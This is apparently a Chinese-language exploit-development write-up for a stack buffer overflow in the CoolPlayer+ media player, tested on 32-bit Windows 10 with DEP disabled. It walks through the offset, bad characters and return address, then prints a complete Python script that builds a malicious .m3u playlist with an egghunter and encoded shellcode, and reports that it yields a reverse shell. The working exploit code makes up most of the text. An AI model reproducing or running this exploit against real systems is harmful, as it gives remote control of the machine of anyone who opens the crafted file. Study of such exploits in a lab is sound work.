测试环境:Windows 10 21H2 32
位,关闭全局DEP
。最开始是想开启全局DEP
,然后尝试Egghunter+Bypass DEP+Bypass ASLR
,后来发现不可行,就把全局DEP
关掉了。
exploit-db
上的链接:https://www.exploit-db.com/exploits/40151。
基本操作没有太多有意思的点,就不阐述了。我选择的2000
字节,Offset
确定为212
,坏字符为\x00\x0a\x0d
。
mona
看一下未开启ASLR
的模块:
只有coolplayer+.exe
本身,并且地址区间在0x00400000
到0x00485000
间。好了,问题来了,地址包含00
,会截断后续的字符,我们如果需要Bypass ASLR
的话,又只能使用这里的某个地址。为了更加直观的获取寄存器与我们输入的字符串之间的关系,检查查找坏字符时内存的情况:
也就是说,EBX
所指向的内存保存着我们的输入字符,按照一般的栈溢出,只需把EIP
的值覆盖为一条类似JMP EBX
即可。
直接贴上最终的利用代码来分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| import sys import socket import struct
filename="exploit.m3u"
shellcode = b"w00tw00t" shellcode += b"\xba\x75\xb8\x3a\xf7\xd9\xc4\xd9\x74\x24\xf4" shellcode += b"\x58\x33\xc9\xb1\x52\x83\xc0\x04\x31\x50\x0e" shellcode += b"\x03\x25\xb6\xd8\x02\x39\x2e\x9e\xed\xc1\xaf" shellcode += b"\xff\x64\x24\x9e\x3f\x12\x2d\xb1\x8f\x50\x63" shellcode += b"\x3e\x7b\x34\x97\xb5\x09\x91\x98\x7e\xa7\xc7" shellcode += b"\x97\x7f\x94\x34\xb6\x03\xe7\x68\x18\x3d\x28" shellcode += b"\x7d\x59\x7a\x55\x8c\x0b\xd3\x11\x23\xbb\x50" shellcode += b"\x6f\xf8\x30\x2a\x61\x78\xa5\xfb\x80\xa9\x78" shellcode += b"\x77\xdb\x69\x7b\x54\x57\x20\x63\xb9\x52\xfa" shellcode += b"\x18\x09\x28\xfd\xc8\x43\xd1\x52\x35\x6c\x20" shellcode += b"\xaa\x72\x4b\xdb\xd9\x8a\xaf\x66\xda\x49\xcd" shellcode += b"\xbc\x6f\x49\x75\x36\xd7\xb5\x87\x9b\x8e\x3e" shellcode += b"\x8b\x50\xc4\x18\x88\x67\x09\x13\xb4\xec\xac" shellcode += b"\xf3\x3c\xb6\x8a\xd7\x65\x6c\xb2\x4e\xc0\xc3" shellcode += b"\xcb\x90\xab\xbc\x69\xdb\x46\xa8\x03\x86\x0e" shellcode += b"\x1d\x2e\x38\xcf\x09\x39\x4b\xfd\x96\x91\xc3" shellcode += b"\x4d\x5e\x3c\x14\xb1\x75\xf8\x8a\x4c\x76\xf9" shellcode += b"\x83\x8a\x22\xa9\xbb\x3b\x4b\x22\x3b\xc3\x9e" shellcode += b"\xe5\x6b\x6b\x71\x46\xdb\xcb\x21\x2e\x31\xc4" shellcode += b"\x1e\x4e\x3a\x0e\x37\xe5\xc1\xd9\xf8\x52\x92" shellcode += b"\x90\x91\xa0\x24\xb2\x3d\x2c\xc2\xde\xad\x78" shellcode += b"\x5d\x77\x57\x21\x15\xe6\x98\xff\x50\x28\x12" shellcode += b"\x0c\xa5\xe7\xd3\x79\xb5\x90\x13\x34\xe7\x37" shellcode += b"\x2b\xe2\x8f\xd4\xbe\x69\x4f\x92\xa2\x25\x18" shellcode += b"\xf3\x15\x3c\xcc\xe9\x0c\x96\xf2\xf3\xc9\xd1" shellcode += b"\xb6\x2f\x2a\xdf\x37\xbd\x16\xfb\x27\x7b\x96" shellcode += b"\x47\x13\xd3\xc1\x11\xcd\x95\xbb\xd3\xa7\x4f" shellcode += b"\x17\xba\x2f\x09\x5b\x7d\x29\x16\xb6\x0b\xd5" shellcode += b"\xa7\x6f\x4a\xea\x08\xf8\x5a\x93\x74\x98\xa5" shellcode += b"\x4e\x3d\xb8\x47\x5a\x48\x51\xde\x0f\xf1\x3c" shellcode += b"\xe1\xfa\x36\x39\x62\x0e\xc7\xbe\x7a\x7b\xc2" shellcode += b"\xfb\x3c\x90\xbe\x94\xa8\x96\x6d\x94\xf8"
buff_size = 2000
egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc8\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7" junk = b'\x90'*(212-len(egghunter)) eip = struct.pack("<L",0x00401897) nops = b"\x90"*32 junk2 = b'C'*(buff_size-212-4-len(shellcode)-32) payload = junk+egghunter+eip+nops+shellcode+junk2
with open(filename,"wb") as filehander: filehander.write(payload)
|
这里选择0x00401897
用于覆盖EIP。
发现EIP
之后的值都变了,我这里在EIP
之后是放的\x90
。来看看此刻EBX
所指向的内存的值:
发现EBX
所指向的内容就是我们输入的内容,并且没有截断。最开始想把shellcode
放在导致溢出的A
字符串所在的位置,这里的空间太少,不能直接放,只能考虑放egghunter
代码。
成功反弹shell
:(因为涉及到内存的搜索,反弹shell
需要等待一些时间)